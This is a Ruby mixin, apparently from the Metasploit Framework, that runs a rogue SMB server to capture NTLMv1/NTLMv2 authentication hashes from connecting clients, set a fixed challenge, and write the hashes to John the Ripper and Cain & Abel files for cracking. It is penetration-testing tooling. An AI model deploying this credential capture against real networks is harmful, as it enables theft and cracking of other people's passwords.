###
#
# This mixin provides support for reporting captured SMB creds
#
###
module Msf::Exploit::Remote::SMB::Server::HashCapture

  include ::Msf::Auxiliary::Report

  def validate_smb_hash_capture_datastore(datastore, ntlm_provider)
    if datastore['CHALLENGE']
      # Set challenge for all future server responses

      chall = proc { [datastore['CHALLENGE']].pack('H*') }
      ntlm_provider.generate_server_challenge(&chall)
    end

    if datastore['JOHNPWFILE']
      print_status("JTR hashes will be split into two files depending on the hash format.")
      print_status("#{build_jtr_file_name(Metasploit::Framework::Hashes::JTR_NTLMV1)} for NTLMv1 hashes.")
      print_status("#{build_jtr_file_name(Metasploit::Framework::Hashes::JTR_NTLMV2)} for NTLMv2 hashes.")
      print_line
    end

    if datastore['CAINPWFILE']
      print_status("Cain & Abel hashes will be stored at #{File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root)}")
      print_line
    end
  end

  def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
    ntlm_message = ntlm_type3
    hash_type = nil

    user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
    domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
    challenge = [ntlm_type2.challenge].pack('Q<')
    combined_hash = "#{user}::#{domain}"

    case ntlm_message.ntlm_version
    when :ntlmv1, :ntlm2_session
      hash_type = 'NTLMv1-SSP'
      client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"

      combined_hash << ":#{client_hash}"
      combined_hash << ":#{bin_to_hex(challenge)}"
      jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
    when :ntlmv2
      hash_type = 'NTLMv2-SSP'
      client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"

      combined_hash << ":#{bin_to_hex(challenge)}"
      combined_hash << ":#{client_hash}"
      jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
    end

    return if hash_type.nil?

    jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2

    if active_db?
      origin = create_credential_origin_service(
        {
          address: address,
          port: datastore['SRVPORT'],
          service_name: 'smb',
          protocol: 'tcp',
          module_fullname: fullname,
          workspace_id: myworkspace_id
        }
      )

      credential_options = {
        origin: origin,
        origin_type: :service,
        address: address,
        port: datastore['SRVPORT'],
        service_name: 'smb',
        username: user,
        server_challenge: challenge,
        client_hash: client_hash,
        # client_os_version: client_os_version,
        private_data: combined_hash,
        private_type: :nonreplayable_hash,
        jtr_format: jtr_format,
        module_fullname: fullname,
        workspace_id: myworkspace_id,
      }
      if domain.present?
        credential_options[:domain] = domain
        credential_options[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
        credential_options[:realm_value] = domain
      end

      # TODO: Re-implement when +client_os_version+ can be determined.
      # found_host = framework.db.hosts.find_by(address: address)
      # found_host.os_name = credential_options[:client_os_version]
      # found_host.save!

      search_options = {
        realm: credential_options[:realm_value],
        user: credential_options[:username],
        hosts: credential_options[:address],
        jtr_format: credential_options[:jtr_format],
        type: Metasploit::Credential::NonreplayableHash,
        workspace: framework.db.workspace
      }
      if framework.db.creds(search_options).count > 0
        vprint_status("Skipping previously captured hash for #{credential_options[:realm_value]}\\#{credential_options[:username]}")
        return
      end

      create_credential(credential_options)
    end

    # TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
    # client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
    print_line "[SMB] #{hash_type} Client     : #{address}"
    # print_line "[SMB] #{hash_type} Client OS  : #{client_os_version}"
    print_line "[SMB] #{hash_type} Username   : #{domain}\\#{user}"
    print_line "[SMB] #{hash_type} Hash       : #{combined_hash}"
    print_line

    if datastore['JOHNPWFILE']
      path = build_jtr_file_name(jtr_format)

      File.open(path, 'ab') do |f|
        f.puts(combined_hash)
      end
    end

    # Cain & Abel doesn't support import of NTLMv2 hashes
    if datastore['CAINPWFILE'] && jtr_format == Metasploit::Framework::Hashes::JTR_NTLMV1
      # Cain&Abel hash format
      # Username:Domain:Challenge:LMHash:NTLMHash
      File.open(File.expand_path(datastore['CAINPWFILE'], Msf::Config.install_root), 'ab') do |f|
        f.puts("#{user}:#{domain}:#{server_challenge}:#{client_hash}")
      end
    end
  end

  def on_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
    report_ntlm_type3(
      address: address,
      ntlm_type1: ntlm_type1,
      ntlm_type2: ntlm_type2,
      ntlm_type3: ntlm_type3
    )
  end

  def build_jtr_file_name(jtr_format)
    # JTR NTLM hash format NTLMv1
    # Username::Domain:LMHash:NTHash:Challenge
    #
    # JTR NTLM hash format NTLMv2
    # Username::Domain:Challenge:NTHash[0...16]:NTHash[16...-1]

    path = File.expand_path(datastore['JOHNPWFILE'], Msf::Config.install_root)

    # if the passed file name does not contain an extension
    if File.extname(File.basename(path)).empty?
      path += "_#{jtr_format}"
    else
      path_parts = path.split('.')

      # inserts _jtr_format between the last extension and the rest of the path
      path = "#{path_parts[0...-1].join('.')}_#{jtr_format}.#{path_parts[-1]}"
    end

    path
  end

  def bin_to_hex(str)
    str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
  end

  class HashCaptureNTLMProvider < ::RubySMB::Gss::Provider::NTLM
    # @param [::WindowsError::NTStatus] ntlm_type3_status A specific NT Status to return as the response to the NTLM
    #   type 3 message. If this value is nil, the message will be processed as normal.
    def initialize(allow_anonymous: false, allow_guests: false, default_domain: 'WORKGROUP', listener: nil, ntlm_type3_status: ::WindowsError::NTStatus::STATUS_ACCESS_DENIED)
      super(allow_anonymous: allow_anonymous, allow_guests: allow_guests, default_domain: default_domain)
      @listener = listener
      @ntlm_type3_status = ntlm_type3_status
    end

    # Needs overwritten to ensure our version of Authenticator is returned
    def new_authenticator(server_client)
      # build and return an instance that can process and track stateful information for a particular connection but
      # that's backed by this particular provider
      HashCaptureAuthenticator.new(self, server_client)
    end

    attr_reader :listener
    attr_accessor :ntlm_type3_status
  end

  class HashCaptureAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator
    def process_ntlm_type1(type1_msg)
      @ntlm_type1 = type1_msg
      @ntlm_type2 = super

      @ntlm_type2
    end

    def process_ntlm_type3(type3_msg)
      _, address = ::Socket.unpack_sockaddr_in(@server_client.getpeername)

      if @provider.listener
        @provider.listener.on_ntlm_type3(
          address: address,
          ntlm_type1: @ntlm_type1,
          ntlm_type2: @ntlm_type2,
          ntlm_type3: type3_msg,
        )
      end

      # allow the operation to be short circuited with a static NT Status response when it doesn't make sense to
      # proceed with authenticating the client
      return @provider.ntlm_type3_status unless @provider.ntlm_type3_status.nil?

      super
    end
  end
end
